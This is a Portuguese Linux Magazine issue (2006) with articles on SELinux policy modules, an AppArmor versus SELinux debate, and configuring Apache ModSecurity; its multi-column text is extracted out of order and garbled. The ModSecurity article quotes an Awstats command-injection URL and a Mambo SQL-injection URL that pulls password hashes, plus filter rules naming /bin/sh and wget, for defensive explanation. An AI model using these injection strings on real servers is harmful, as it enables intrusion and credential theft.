Um problema típico que ocorre quando se usa o SELinux é a geração de políticas para novos programas. Extensões como essa agora são possíveis com módulos binários, o que elimina a necessidade de passar todo o conjunto de regras alterado Múltiplas categorias para o SELinux. Um módulo é composto de três arquivos: Já que quase ninguém precisa de um design MLS (além das forças armadas e do serviço modul.fc ➧ secreto, é claro), os desenvolvedores adicionaram o conceito de segurança multi-categoria ➧ modul.te (Multi-Category Security, ou MCS) a sua política de referência. Isso enfraquece a funcionalidade MLS. Todos os objetos recebem o nível MLS s0. O administrador depois pode selecio➧ modul.if nar as categorias de outros objetos. Para reforçar os números e suas descrições intuitivas, os O arquivo fc contém os contextos de administradores podem até conferir nomes a essas categorias no arquivo setrans.conf: arquivos que definem como o SELinux rotulará arquivos individuais. O arquivo s0:c0=Confidential te contém as regras de reforço de tipos; o s0:c1=Development s0:c2=HumanResources arquivo if é novo, e contém a definição de interface de módulo e sua respectiva Depois disso, o comando chcat entenderá tanto nomes quandocumentação. Embora os administrato categorias, e poderá associá-los a arquivos: dores possam escrever esses arquivos chcat -- +Confidential /tmp/file.txt do zero, o Fedora Core 5 dispõe de um script chamado policygentool para ajudar Enquanto o arquivo antes possuía o contexto de segurança root:object_r:tmp_t:, ele agora tem o root:object_r:tmp_t:Confidential. O comando chcat também pode associar um a simplificar o processo. usuário a uma categoria. Cada arquivo que o usuário criar a partir desse ponto terá a cateA ferramenta de geração de políticas goria MCS desse usuário. Usuários sem categoria não têm permissão para acessar o arquiespera que você forneça o nome do móvo. Enquanto essa função é semelhante às ACLs (listas de controle de acesso) Posix, o MCS dulo a ser criado, além do caminho para terá mais possibilidades no futuro. Por exemplo, um sistema de impressão poderia enviar o programa governado pelo módulo. A um aviso quando imprimisse um documento específico, dependendo da categoria, ou um ferramenta então pede ao administrador cliente de email poderia se recusar a enviar documentos de uma determinada categoria. algumas respostas e depois cria os arquivos de configuração e o módulo finalizado. Se por exemplo. Variáveis booleanas não nos políticas. A Tresys desenvolveu uma po- você preferir criar o módulo manualmente permitem delegar tarefas administrativas lítica de referência para o SELinux que a partir dos três arquivos, pode rodar o cheindividuais a outros usuários. tenta resolver essa questão. A política ckmodule para gerar o arquivo te, e depois tem diversos objetivos, e sua principal usar o semodule_package para criar o arquipreocupação é um alto nível de modula- vo de módulo modulo.pp, que você carrega ridade. A idéia é dar aos administradores executando semodule -i foo.pp. A diferença entre as políticas Strict e a possibilidade de carregar, descarregar e Targeted coloca um problema: é mais substituir módulos em tempo de execuou menos impossível trocar regras entre ção. Para suportar a comunicação entre Em vez de tentar compilar manualmente módulos, cada módulo os detalhes de uma política, faz sentido define sua própria in- criar regras baseadas em mensagens de terface. Para melhorar auditoria que tenham registrado negaa legibilidade dos mó- ções de acesso. E isso é exatamente o dulos, cada um deles que faz o comando audit2allow; na revem com sua própria alidade, ele implementa uma espécie documentação da in- de modo de treinamento. Os resultados terface. É possível gerar são regras do SELinux que permitem tanto uma política Strict exatamente os tipos de acesso que a quanto uma Targeted ferramenta proibiu e registrou. a partir da referência. Naturalmente, esse comando roda O Fedora Core 5 é a no modo permissivo do SELinux, no primeira distribuição qual o sistema simplesmente registra O audit2allow manda o SELinux analisar os registros do audit quando a apresentar essa nova infrações de política sem negá-las. acontecem eventos que infringem a política de segurança. Uma versão desse comando modificada tecnologia.

Política de referência

Figura 2

Enquanto a política Targeted tem somente dois módulos, base.pp e enabledaudit.pp, a Strict é composta por 149 módulos binários. O semodule carrega esses módulos levando em conta as dependências.

Modo de treinamento

http://supertuxbr.blogspot.com 40

http://www.linuxmagazine.com.br


SELinux | CAPA

para a política de referência também suporta a geração direta de módulos (figura 2). Se o Auditd não estiver rodando, o SELinux envia mensagens para /var/log/ messages. O semodule -i local.pp então carrega e roda o novo módulo. Mudanças manuais ao arquivo te são possíveis e recomendadas; deve-se verificar cuidadosamente os resultados.

MAC por MAC

Até o momento da escrita deste artigo, somente o administrador do sistema podia mudar e recarregar as políticas do SELinux. Enquanto essa foi a única abordagem suportada pela antiga tecnologia monolítica, a nova política de referência, com sua estrutura modular, permite aos administradores dar diferentes atributos de acesso aos arquivos de módulos de política. Até agora um processo com a capacidade de carregar uma política também tem a possibilidade de modificar toda a política. A estrutura modular agora suporta a nova abordagem, para a qual a Tresys Technology desenvolveu um servidor de políticas SELinux. Além dos objetivos já mencionados, o servidor de políticas busca mais um: suportar novos objetos gerenciados por aplicativos do espaço do usuário, incluindo bancos de dados e suas tabelas. O servidor de políticas suportará ainda uma infraestrutura melhorada para gerenciamento central de políticas em múltiplos sistemas. A versão inicial de demonstração já suporta a idéia de políticas permitirem mudanças específicas a si mesmas. Os desenvolvedores introduziram o novo comando policycon, que aplica um contexto de segurança a módulos individuais. Depois, é possível permitir que a sua própria política se mude sozinha. Novamente o comando semodule gerencia isso, comunicando-se com o servidor de políticas no espaço do usuário. Os programadores ainda advertem contra o uso de um servidor de políticas em ambientes de produção e, infelizmente, o ritmo de desenvolvimento anda bem lento.

Desenvolvimento

Uma comunidade bastante impressionante de usuários e desenvolvedores se formou em torno do SELinux. O SELinux Symposium [7] acontece a cada

Figura 3

A IDE SELinux, Slide, dá acesso à política de referência do SELinux. O Slide é implementado como um plugin para o Eclipse.

dois anos; em fevereiro deste ano houve 29 palestras e cinco tutoriais sobre o SELinux, ao longo de três dias. Os slides das palestras estão disponíveis na página do simpósio. O trabalho atual de desenvolvimento está concentrado em adicionar as plataformas IPsec ao SELinux. Isso permitiria que o SELinux monitorasse o tráfego de dados na rede. Alguns desses desenvolvimentos já foram incluídos no kernel 2.6.16 [10].

Sem insegurança

Muitos administradores se preocupam com a introdução de vulnerabilidades pelo uso do SELinux. A enorme política, difícil de entender completamente, é uma das responsáveis por essa sensação de incerteza. Contudo, um sistema MAC como o SELinux certamente melhora a segurança do seu sistema. E lembre-se, o SELinux não pode dar a um processo privilégios que este não teria sem um MAC. O SELinux não é o único responsável por proibir ou permitir acessos; o DAC normal do Linux também tem que aprovar o tipo de acesso baseado em critérios mais antigos. Esperamos que os desenvolvedores do SELinux continuem trabalhando duro para melhorar a usabilidade. Os desenvolvedores do SELinux já construíram as fundações para um sistema mais utilizável com maior modularização e o servidor de políticas. ■

Mais Informações [1] Site da NSA sobre o SELinux: http://www.nsa.gov/selinux/ [2] SELinux para distribuições: http://selinux.sourceforge.net [3] Política de referência do SELinux: http://serefpolicy.sourceforge.net [4] Tresys: http://www.tresys.com [5] SLIDE: http://selinux-ide.sourceforge.net [6] Servidor de políticas do SELinux: http://sepolicy-server. sourceforge.net [7] SELinux Symposium: http://www.selinux-symposium.org [8] Instalação do SLIDE: http://www.tresys.com/ files/eclipse-update/ [9] Introdução ao MCS: http://james-morris. livejournal.com/8228.html [10] SELinux para IPsec: http://marc.theaimsgroup.com/ ?l=linux-netdev&m=113 234097011133&w=2

O autor Ralf Spenneberg dá treinamentos em Unix/Linux como freelancer, é consultor e autor. Ralf já publicou diversos livros sobre os tópicos de detecção de intrusões e redes virtuais privadas (VPNs). Seu último livro, “Linux Firewalls with Iptables & Co”, foi publicado recentemente.

http://supertuxbr.blogspot.com Linux Magazine #22 | Agosto de 2006

41


Novell e Red Hat confrontam suas tecnologias

CAPA

AppArmor × SELinux

Security Enhanced Linux ou AppArmor? A Linux Magazine convidou duas personalidades conhecidas da Red Hat e Novell para discutir os méritos de seus sistemas de segurança. por Achim Leitner

A

Novell e a Red Hat estão travando um intenso combate para estabelecer seus respectivos produtos como o melhor sistema de proteção para Linux. Enquanto a Red Hat adotou o SELinux anos atrás, a Novell apresentou seu sistema de proteção AppArmor depois de adquirir a Immunix. Ambos são licenciados sob a GPL, ambos visam tornar o Linux mais seguro e ambos dão ao administrador mais controle sobre os privilégios dos aplicativos. A Linux Magazine deu a ambos os grupos uma chance para explicar suas motivações. Crispin Cowan, que veio do Immunix para a Novell, falará primeiro sobre quais são, em sua opinião, as vantagens do AppArmor. Depois, Daniel Riek explicará por que a Red Hat investe no SELinux.

Crispin Cowan, Novell O AppArmor [1] e o SELinux [2] têm objetivos semelhantes de melhorar a segurança no Linux, mas diferentes nos detalhes. O AppArmor assegura aplicativos individuais contra defeitos latentes, e protege um sistema inteiro contra uma ameaça em particular, tal como ataques pela rede, protegendo todos os aplicativos que usam a rede. O SELinux, por sua vez, tenta controlar o sistema inteiro, incluindo a segurança de propriedades como o fluxo de informação, e por isso paga o preço da complexidade. Concluiu-se que a Política Estrita (Strict Policy) que o SELinux forneceu de início era estrita demais para ser utilizável, e então o

projeto mudou ativamente em direção ao modelo adotado pelo AppArmor com a política Targeted, que simula o modelo de controle de acesso por aplicativo do AppArmor.

Território familiar

O AppArmor deixa os administradores confinarem os aplicativos em termos familiares: você especifica o aplicativo a ser confinado e os arquivos a serem acessados com caminhos absolutos, seguidos dos modos de acesso familiares read e write. Grupos de arquivos podem ser referidos com os tradicionais coringas de shell, então /home/*/public_html/**. html r dá acesso de leitura a todos os arquivos .html no diretório public_html de todos os usuários.

http://supertuxbr.blogspot.com 42

http://www.linuxmagazine.com.br


Comparativo | CAPA

Crispin Cowan

“Simplicidade é a alma da segurança... O SELinux parece ter sido feito para atender aos desejos da NSA por políticas arbitrariamente complexas, às custas da usabilidade... O AppArmor foi feito com vistas à usabilidade – para cumprir as exigências da maioria dos usuários Linux.”

O SELinux aplica rótulos a arquivos e processos e define a política de segurança em termos de quais rótulos podem acessar quais outros rótulos. Controles de acesso rotulados são uma técnica estabelecida desde os anos 70, mas em geral os rótulos atrapalham a usabilidade significativamente: ➧ Você precisa rotular o sistema de arquivos e criar a política de segurança em duas etapas distintas, criando uma dependência circular para o usuário entre especificar os rótulos e especificar a política. ➧ Alguns aplicativos como o tar não preservam rótulos, então dados arquivados e recuperados com esse aplicativo perderão seus rótulos. ➧ Sistemas de arquivos NFS montados não suportam rótulos, então todo o sistema de arquivos recebe um único rótulo. Portanto, todos os sistemas de arquivos da rede recebem uma decisão de política do tipo “tudo ou nada”: cada aplicativo ou pode acessar o sistema de arquivos inteiro, ou não acessa nada. A simplicidade é a alma da segurança: quanto mais complexo um sistema, mais provável é que ele seja mal configurado. Pior ainda, se uma política de segurança não pode ser compreendida, ela não é uma política de forma alguma; ela é uma caixa preta que você espera que forneça alguma proteção, mas você não tem certeza.

Bem mais simples

O AppArmor é consideravelmente mais simples de usar que o SELinux. Apesar de este julgamento ser subjetivo, ele pode ser verificado neste vídeo do Fosdem [3], no qual uma política para o Apache é escrita em cinco minutos pela platéia, e também no fato de que o perfil do AppArmor para

o Apache tem 133 linhas, enquanto a po- o que é factível para aplicativos de código lítica correspondente no SELinux tem aberto, mas problemático para aplicativos 826 linhas. Magnus Runesson relata ter proprietários de empresas. conseguido portar o AppArmor para o Ubuntu Linux em menos tempo do que levou para entender e modificar uma política do SELinux. Tanto o AppArmor quanto o SELinux Apesar da relativa simplicidade do oferecem segurança de alta qualidade. AppArmor, ele também oferece proteção Mas o SELinux parece ter sido feito para e segurança que o SELinux não consegue. atender aos desejos da NSA por políticas O AppArmor oferece o confinamento arbitrariamente complexas às custas da de pedaços de um processo, algo que usabilidade. Usabilidade ruim é terrível, o SELinux só adicionou recentemente. pois geralmente impede a aplicação da Entretanto, o AppArmor também traz segurança, e o SELinux é freqüenteum módulo de Apache para usar essa mente desabilitado quando os usuários propriedade, então os usuários podem acham as políticas difíceis demais de criar perfis do AppArmor para tarefas gerenciar. O AppArmor foi feito com a pequenas como um script perl executado usabilidade em mente – para satisfazer a pelo mod_perl, ou até uma página PHP individual. Não conheço outra tecnologia que consiga confinar páginas PHP individuais.

AppArmor é melhor

Mudar pra quê?

O AppArmor faz isso tudo de forma completamente transparente para o aplicativo. Nenhuma modificação é necessária para usar suas propriedades, exceto pelo confinamento de subprocessos, que requer uma dose de cooperação do processo protegido. Essa cooperação pode ser alcançada usando um módulo inserido caso o aplicativo suporte módulos. Se o AppArmor for abruptamente apagado de um sistema em funcionamento, o sistema continuará funcionando da mesmíssima forma como funcionava com o AppArmor funcional, exceto pelo fato de que agora está mais vulnerável a ataques. O SELinux só pode aplicar algumas de suas propriedades em aplicativos não modificados; o conjunto total das propriedades só será disponibilizado se o programa for re-linkado à biblioteca libselinux,

Figura 1

Crispin Cowan, Arquiteto de Segurança da Novell.

http://supertuxbr.blogspot.com Linux Magazine #22 | Agosto de 2006

43


CAPA | Comparativo

Daniel Riek

necessidade da maioria dos usuários de Linux, tanto domésticos quanto corporativos. Tente você mesmo: o AppArmor está disponível para Slackware, Ubuntu, Gentoo, Red Hat, Pardus, e integrado a todas as novas edições do SUSELinux das arquiteturas x86, x86-64, Itanium, POWER e Z-series.

Daniel Riek, Red Hat

O SELinux aplica controles de acesso estritos baseados em MAC no nível do kernel (veja o artigo sobre SELinux). Ele reduz o impacto de ataques, garante a confidencialidade dos dados, e satisfaz exigências complexas de segurança, graças às mudanças de domínio dependentes de contexto. A primeira empresa a anunciar o suporte ao SELinux como um produto comercial foi a Novell, embora isso não

“...você realmente quer armazenar os dados do seu cartão de crédito num servidor cujas políticas de segurança foram criadas por um novato usando o YaST e o AppArmor em modo de reclamação?” tenha significado que o serviço estivesse pronto para uso em produção. Na época, a política ainda não estava adequada para um mercado amplo: estrita demais, muitas restrições para aplicativos de usuário, e certamente um pouco exagerada. Foi a Red Hat que lançou o primeiro produto maduro e pronto para produção. Todas as instalações do Red Hat Enterprise Linux 4, e também as do Fedora, ativam o SELinux para os serviços centrais de rede por padrão.

Comunidade global

O SELinux é suportado por uma grande comunidade ativa, que inclui usuários não comerciais assim como fornecedores tais como Red Hat, IBM, HP, NSA, DOD (o departamento de defesa dos EUA), Tresys e Trusted Computing Systems. Todas essas organizações colaboram na melhoria

das políticas, desenvolvendo assim uma poderosa plataforma de auditoria para ferramentas de desenvolvimento de políticas [4], além de oferecerem suporte a problemas e aconselhar usuários. Apesar disso, a Novell desistiu do SELinux no ano passado e começou a promover o AppArmor, adquirido recentemente da Immunix, como uma alternativa mais simples. Em vez de investir numa colaboração dentro da comunidade de código aberto e ajudar a tornar o SELinux mais fácil de usar, a Novell decidiu fazer um fork da arquitetura de segurança no Linux, e deixar os desenvolvedores e usuários com toda a responsabilidade da escolha. Essa abordagem até mesmo lembrou Dan Walsh, chefe do desenvolvimento do SELinux na Red Hat, e outros, das antigas questões com o Unix [5]. A FAQ do AppArmor diz o seguinte sobre segurança: “Usando a interface gráfica YaST, é fácil um usuário iniciante desenvolver perfis de segurança, enquanto os mais experientes mantêm a flexibilidade de que precisam para criar perfis bem ajustados.” Mas você quer que os dados do seu cartão de crédito fiquem guardados num servidor cuja política de segurança tenha sido criada por um novato usando o YaST e o AppArmor em modo de reclamação? A Red Hat, ao contrário, concentra-se no uso corporativo. Vendedores de software oferecem políticas do SELinux verificadas que os consumidores configuram dentro da plataforma de parâmetros validados.

Faz mais

Figura 2

Daniel Riek, Gerente de Produtos da Red Hat.

É claro que o AppArmor é mais fácil de configurar, pois ataca um grupo bem menor de problemas de segurança. A FAQ até informa que o AppArmor não garante a confidencialidade dos dados, diferentemente do SELinux, alegando ainda que

http://supertuxbr.blogspot.com 44

http://www.linuxmagazine.com.br


Comparativo | CAPA

essa característica só é útil para o serviço secreto. Nada se diz sobre dados de cartão de crédito, de clientes, registros médicos, dados de contas, Basel II ou conformidade com Sabranes-Oxley... E a alegação de que você precisa recompilar seus aplicativos para usar o SELinux é traiçoeira. Com o SELinux, o contexto de segurança após iniciar um novo processo depende de quem iniciou o processo e em que contexto. Não existe qualquer necessidade de mudar o aplicativo para que ele faça isso, e os contextos de segurança são claramente definidos. Somente poucos programas requerem modificações. As restrições do AppArmor a subprocessos permitem que o usuário execute, por exemplo, scripts PHP via mod_php num contexto diferente daquele do próprio Apache, apesar de ambos rodarem dentro do mesmo processo. A FAQ menciona que isso só é possível com uma versão especial do Apache modificada pela Novell. Em outras palavras, o AppArmor também precisa de recompilação de tempos em tempos. O desenho do AppArmor possui grandes desvantagens: não faz nada para impedir que código malicioso injetado no contexto do PHP por um atacante rode mais tarde no contexto do Apache. Afinal, eles utilizam o mesmo setor de memória. Um código afetado por um exploit não pode oferecer segurança! Portanto, esse cenário permitirá o ganho de privilégios – isso é uma falha, não um recurso.

Rótulos x caminhos

A situação com o argumento do sistema de arquivos é semelhante: o SELinux utiliza rótulos de segurança, que ficam armazenados como atributos estendidos de objetos do sistema de arquivos. A Novell enxerga isso como uma extensão que só é suportada por sistemas de arquivo específicos. Na realidade, os atributos estendidos são uma característica padrão que só uns poucos sistemas de arquivos não possuem, e então esse é mais um argumento contra o preferido da Novell, o Reiser FS. O AppArmor utiliza caminhos de arquivos em seus perfis, mas não garante a segurança. Enquanto os rótulos de segurança ligados a inodes no SELinux referemse a objetos reais do sistema de arquivos, os caminhos de arquivos do AppArmor utilizam uma camada de abstração que não necessariamente reflete o sistema de arquivos real. Links simbólicos são um

exemplo das questões multifacetadas. Um objeto pode usar múltiplos caminhos de arquivos e dessa forma ser governado por diferentes políticas. A questão é se isso ainda pode ser considerado Controle Mandatório de Acesso.

Questão de flexibilidade Finalmente, a alegação de que o AppArmor é mais flexível que o SELinux não é baseada em provas factuais. É verdade que uma configuração do AppArmor pode ser modificada mais rapidamente, pois define um sistema menos seguro. Porém, isso nada tem a ver com flexibilidade. Pelo contrário, o desenho unidimensional de perfis não oferece o mesmo nível de segurança e flexibilidade que as mudanças dinâmicas de contexto de segurança do SELinux permitem. Um programa pode rodar com privilégios diferentes, dependendo de quem o executar e em que contexto. Isso permite perfis de segurança extremamente flexíveis. A arquitetura do SELinux também é apropriada para exigências de segurança além de MAC. E as implementações de MLS e MCS oferecem muitas provas de que o desenho do SELinux funciona (veja o artigo sobre o SELinux). Ambas armazenam atributos como atributos extendidos do sistema de arquivos, e portanto suportam integração rápida e simples com a política do SELinux.

SELinux é melhor

O SELinux é a implementação mais consistente de Controle Mandatório de Acesso em produtos padrão atualmente. Ele vem de uma compreensão fundamental a respeito da forma como funcionam ataques a sistemas de TI, e também da história das questões de segurança em TI. Dito isso, os crackers sempre estão um passo à frente na corrida pelo próximo grande exploit. A arquitetura precisa levar isso em conta e garantir que até uma invasão com êxito não cause sérios problemas. A escolha entre o SELinux e o AppArmor é entre uma forte arquitetura de segurança e uma melhora local de segurança. As exigências de segurança típicas feitas pelos usuários do Red Hat Enterprise Linux só são realmente satisfeitas pelo complexo SELinux. ■

Mais Informações [1] AppArmor: http://www.opensuse.org/AppArmor [2] SELinux: http://www.nsa.gov/selinux/ [3] Vídeo do AppArmor: ftp://ftp.belnet.be/pub/mirror/ FOSDEM/FOSDEM2006-apparmor.avi [4] Desenvolvimento de políticas do SELinux:http://selinuxnews.org [5] Entrevista com Dan Walsh: http://danwalsh.livejournal.com/ 424.html

Crispin Cowan Crispin Cowan foi CTO e fundador da Immunix Inc., recentemente adquirida pela Novell. O Dr. Cowan agora trabalha como arquiteto para a Novell em relação a segurança para a plataforma Linux e aplicativos que a Novell oferece para esse sistema operacional, e com atenção particular ao produto AppArmor que veio com a aquisição da Immunix. O Dr. Cowan desenvolveu diversas tecnologias de segurança de máquinas, incluindo o StackGuard, uma defesa contra estouros de buffer para o compilador, e a interface LSM (Linux Security Modules) do Linux 2.6. O Dr. Cowan também co-inventou o método “time-to-patch” de averiguar se é seguro aplicar um patch de segurança. Antes de fundar a Immunix, ele foi professor do Oregon Graduate Institute Department of Computer Science and Engineering. É Ph.D. pela University of Western Ontario e mestre em matemática pela University of Waterloo.

Daniel Riek Daniel Riek é gerente de produtos do Red Hat Enterprise Linux desde o início de 2006. Ele entrou na empresa no meio de 2003. Antes de mudar para o desenvolvimento de produtos, Riek foi arquiteto de soluções e forneceu serviços de aconselhamento pré-vendas a clientes. Riek fundou a ID-PRO, um provedor de Internet e serviços em GNU/Linux, enquanto estudava Ciência da Computação na Universidade de Bonn, Alemanha; e a empresa cresceu até tornar-se um player internacional. Em 2001, Riek mudou-se da ID-PRO para o provedor de serviços em software livre francês Alcove, onde era o responsável pelas atividades na Alemanha e lidava com contas especiais e bancos. Riek foi membro da diretoria da LIVE Linux Association por muitos anos, e também relações públicas.

http://supertuxbr.blogspot.com Linux Magazine #22 | Agosto de 2006

45


Mais segurança para o Apache

CAPA

Cão de guarda O módulo ModSecurity fornece grande proteção ao servidor web Apache. Aprenda a configurar suas regras para garantir a segurança sem desperdiçar desempenho. por Hannes Kasparick

A

principal tarefa da maioria dos servidores web é servir conteúdo dinâmico gerado por scripts de uma forma confiável e segura. A interação entre visitantes e o aplicativo web abre um vetor de ataque, permitindo que hackers malévolos comprometam o aplicativo e realizem tarefas que os desenvolvedores e webmasters nunca imaginaram. O potencial de estragos é enorme, variando da revelação de conteúdo protegido até o completo compromisso do superusuário. Aplicativos web programados de forma clara fornecem uma abordagem importante para a prevenção desse tipo de abuso, mas isso é atingido com muito esforço. Mesmo os programadores mais experientes podem eventualmente entrar numa fria,

Exemplo 1: Regras de teste 01 #SecFilterEngine On 02 #SecFilterSignatureAction log,deny,status:500 03 #SecFilter /bin/sh ➥ "id:1001,rev:2,severity:2,msg:'/bin/sh attack attempt'" 04 ## Regra para a versão 1.8: 05 ## SecFilter /bin/sh

pois as vulnerabilidades dos aplicativos web, já estabelecidos sempre se fazem presentes. O módulo ModSecurity [1] do Apache fornece validação e maior proteção (figura 1). O módulo é basicamente um firewall para aplicativos web, disponível tanto como um módulo do Apache quanto como um aplicativo independente (GPL). O módulo valida pedidos que chegam antes de encaminhá-los aos scripts apropriados, baseado nas regras especificadas no conjunto de regras. Assim como os arquivos de padrões usados por vírus, as regras consistem de assinaturas de técnicas de ataque típicas. Se um pedido corresponder a alguma das assinaturas armazenadas, os mecanismos especificados pelas regras de ação são efetivados. Isso pode incluir o bloqueio do pedido ou seu encaminhamento para outra página web. O módulo fornece uma proteção efetiva contra ataques como injeção de comandos do sistema operacional (OS Command Injection), scripts cruzados (XSS ou Cross-Site Scripting) e injeção SQL (SQL Injection).

Os perigos do Unicode O padrão Unicode fornece um conjunto unificado e internacional de caracteres. O antiquado conjunto de caracteres ASCII utiliza somente sete ou oito bits para codificar cada caractere, o que restringe o número de caracteres a 128 ou 256, respectivamente, sendo que alguns desses

Figura 1

O ModSecurity fica à frente do servidor web e seus aplicativos, protegendo ambos de ataques externos.

http://supertuxbr.blogspot.com 46

http://www.linuxmagazine.com.br


ModSecurity | CAPA

Tabela 1: Identificadores de regras Faixa de IDs

Uso dos IDs

0-99.999

Local – para suas próprias regras

100.000-199.999

Reservado para o ModSecurity

200.000-299.999

Reservado para regras publicadas em www.ModSecurity.org

300.000–

Não atribuído

http://server/mambo/index.php?

to ataque então retorna simplesmente uma mensagem de erro 403 do Apache: Acesso proibido. Ataques de scripts cruzados já são um perigo maior para usuários normais da Internet. Scripts cruzados envolvem uma tentativa do atacante de executar scripts mal intencionados na máquina da vítima para acessar seus cookies, por exemplo. Assim, faz sentido filtrar comandos <script> de pedidos GET e POST. Como o desenvolvimento vem progredindo rapidamente, administradores que plenejem usar o ModSecurity devem saber que precisam verificar a página do autor do ModSecurity em [1]. Esse é o lugar para se pesquisar atualizações ao projeto de conjuntos de regras do ModSecurity (ModSecurity Rule Sets) [2], por exemplo. Pacotes binários prontos para ser rodados estão disponíveis para a maioria das distribuições. Usuários de Debian podem usar o comando aptitude install

caracteres são usados para controle. De- ➥option=com_content&task=vote&id= pendendo da versão, o Unicode usa até ➥%d&Itemid=%d&cid=1&user_rating=1, 32 bits (quatro bytes) para codificar cada ➥rating_count=(SELECT/**/if((ascii caractere. Isto significa que o Unicode ➥(substring((SELECT/**/password/**/ consegue mostrar runas e hieroglifos ➥FROM/**/mos_users/**/WHERE/**/id=%d) ➥,%d,1)))%s,1145711457,0))[...] sem problemas. Por outro lado, a técnica de reescrever códigos que exploram vulnerabiliO comando SQL embutido nesdades (os famosos exploits) no Unicode sa longa cadeia de caracteres é: SELECT já ajudou invasores a atravessar siste- FROM mos_user WHERE id=User-ID. A regra mas de detecção de intrusão (IDS) no do ModSecurity SecFilterSelective ARGS passado. Por exemplo, o caractere / é “select.+from” impede esse ataque simrepresentado como &#47 no Unicode, e plesmente detectando as palavras select esse tipo de mascaramento pode atra- e from como características de ataque, e palhar a detecção por parte do IDS. O então o ataque falha (figura 2). O suposModSecurity descriptografa caracteres Unicode quando a chave SecFilterCheckUnicodeEncoding está ligada (On), dando Exemplo 2: Configuração aos filtros posteriores a capacidade de 01 ## Ativar o ModSecurity detectar possíveis exploits.

O perigo vem de fora

O principal perigo para servidores web, e portanto a maior preocupação dos administradores, é com relação à injeção de comandos do sistema operacional, pois tais ataques executam comandos do sistema no contexto do servidor web. Em janeiro de 2005, por exemplo, descobriu-se que a ferramenta de estatística da web Awstats inadvertidamente permitia que usuários executassem comandos arbitrários. A cadeia awstats.pl?configdir=|echo;ec ho;ls%20-la%20%2F;id;echo;echo executaria o comando ls -la no servidor web Apache. Dar a um invasor a possibilidade de ler informações confidenciais armazenadas no servidor web pode ser igualmente perigoso. O exploit que visava a popular ferramenta de controle de conteúdo (CMS) Mambo, que foi divulgado em junho de 2005, passa comandos SQL através da URL, e assim faz o aplicativo web servir uma lista de todos os hashes de senhas de usuários [7]. Um atacante poderia então usar a lista para descobrir as senhas dos usuários, possivelmente usando tabelas Rainbow (tabelas hash pré-calculadas). A seguinte URL revela as senhas:

02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40

básica

#SecFilterEngine On ## Registrar pedidos errados e negar o acesso #SecFilterDefaultAction “deny,log,status:403” ## Registrar somente os erros ## SecFilterDefaultAction “pass,log” # ## Verificar os dados do POST #SecFilterScanPOST On # ## Verificar a codificação da URL #SecFilterCheckURLEncoding On # ## Verificar a codificação Unicode #SecFilterCheckUnicodeEncoding On # ## Aceitar somente caracteresa ASCII de 1 a 255 #SecFilterForceByteRange 1 255 # ## Reduzir ao máximo a assinatura do servidor #SecServerSignature “Apache” # ## Registrar somente dados relevantes #SecAuditEngine RelevantOnly #SecAuditLog /var/log/apache2/audit_log # ## Não aceitar pedidos de GET e REQUEST no corpo #SecFilterSelective REQUEST_METHOD “^(GET|HEAD)$” chain #SecFilterSelective HTTP_Content-Length “!^$” # ## Comprimento do conteúdo deve ser enviado com cada pedido POST request #SecFilterSelective REQUEST_METHOD “^POST$” chain #SecFilterSelective HTTP_Content-Length “^$” # ## Descartar codificações de transferência desconhecidas, com exceção do GET, ## pois isso pode causar problemas com alguns clientes #SecFilterSelective REQUEST_METHOD “!^(GET|HEAD)$” chain #SecFilterSelective HTTP_Content-Type \ #”!(^application/x-www-form-urlencoded$|^multipart/form-data;)” #SecFilterSelective HTTP_Transfer-Encoding “!^$”

http://supertuxbr.blogspot.com Linux Magazine #22 | Agosto de 2006

47


CAPA | ModSecurity

regra deve ter um ID único. A tabela 1 mostra os espaços de nomes reservados.

1.9, o módulo tem alguns parâmetros de log adicionais. O ModSecurity distingue entre três métodos de filtragem: simples (SecFilter wget), seletiva (SecFilterSelective ARGS “union.+select”) e saída (SecFilterSelective OUTPUT “Fatal error:” deny,status:500). Um filtro simples sempre investigará o pedido HTTP inteiro, enquanto um filtro Figura 2 Em nosso exemplo, o módulo de Apache ModSecurity conseA forma mais prática de seletivo somente investiga partes específicas guiu barrar um ataque de injeção SQL, registrando a tentativa registrar logs simples- do pedido. Filtros de saída varrem o conteno log do servidor web, error.log. mente grava entradas údo servido pelo servidor web, impedindo no arquivo error.log do assim que seja exibido, caso necessário. Um libapache2-mod-security para instalar o Apache, embora isso torne a análise mais ponto de exclamação (!) inverte a regra pacote em seus discos; já os usuários de difícil depois. Alternativamente, você tal- do filtro. Por exemplo, a regra SecFilter FreeBSD usam um pkg_add -r mod_security vez queira considerar um registro mais !html é aplicada a todos os pedidos que para a mesma tarefa. Depois de terminar profundo, o audit logging (figura 3). A não contenham a palavra html. a instalação, execute um a2enmod mod-se- opção New Audit Log Type foi criada curity no Debian para carregar o módulo; na versão 1.9. Entre outras coisas, ela o FreeBSD faz isso sozinho. Este artigo suporta o registro de múltiplos eventos é baseado no ModSecurity 1.9.2, apesar em arquivos de log separados, embora A forma mais simples de política de filtro de a popular versão 1.8.7 já oferecer a não necessite que você ative o módulo é a SecFilter SearchPattern. Ela faz o ModSecurity olhar todos os pedidos GET e maioria dos recursos citados aqui. do Apache mod_unique_id. Além disso, a versão 1.9 e as mais re- POST em busca de padrões que ativem as centes suportam o estilo Guardian de log, ações especificadas pela política padrão. ou seja, podem passar os dados dos logs As chaves de busca podem ser expressões A entrada [Fri Feb 24 11:55:12 2006] para o HTTP Guardian [3], que por sua simples ou regulares. As regras de filtro [notice] mod_security/1.9.2 configured vez controla firewalls baseados em filtros, não são aplicadas diretamente ao pedino error.log do meu Apache diz que o como o IPtables, assim como o controla- do, e sim a uma cópia normalizada. Em módulo foi instalado com sucesso; a se- dor de IDS Snortsam [4]. Por padrão, o outras palavras, caracteres com codificagunda define ações, e a terceira verifica HTTP Guardian bloqueia clientes que ções especiais (Unicode) (veja Os perigos o conteúdo em busca de palavras que mandam mais de 120 pedidos de conexão do Unicode) são decodificados primeiro, sigam (no caso, /bin/sh). Para manter por minuto, ou mais de 360 pedidos em e todos os escapes (caracteres /) desnetudo inteligível, faz sentido armazenar cinco minutos. O programa ainda está cessários são resolvidos. Os ataques de conjuntos de regras em arquivos sepa- em estágio de desenvolvimento, mas fun- byte nulo visando vulnerabilidades em rados e usar o include path to file para ciona bem e é bem documentado. aplicativos para servidores escritos em C ou C++ ficam protegidos pelo filtro uni-los ao seu apache2.conf. Os parâmetros extendidos na diretiva SecFilter hidden. SecFilter são novos na versão 1.9, porOs padrões de busca que examinamos tanto não suportados pela versão 1.8. Se Usaremos a configuração básica do exem- até agora somente verificam o pedido você estiver usando a versão mais velha, plo 